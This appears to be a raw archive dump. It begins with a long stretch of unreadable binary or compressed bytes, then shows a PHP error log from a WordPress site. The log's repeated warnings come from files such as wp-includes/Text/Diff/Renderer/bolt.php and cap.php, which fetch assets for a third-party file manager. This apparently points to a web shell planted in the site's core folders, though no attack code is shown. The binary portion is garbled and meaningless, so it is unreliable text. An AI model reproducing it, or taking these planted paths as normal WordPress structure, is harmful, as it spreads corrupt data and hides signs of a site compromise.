Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @                                                                                                      error_log                                                                                           0000644                 00000121342 15217301621 0006462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
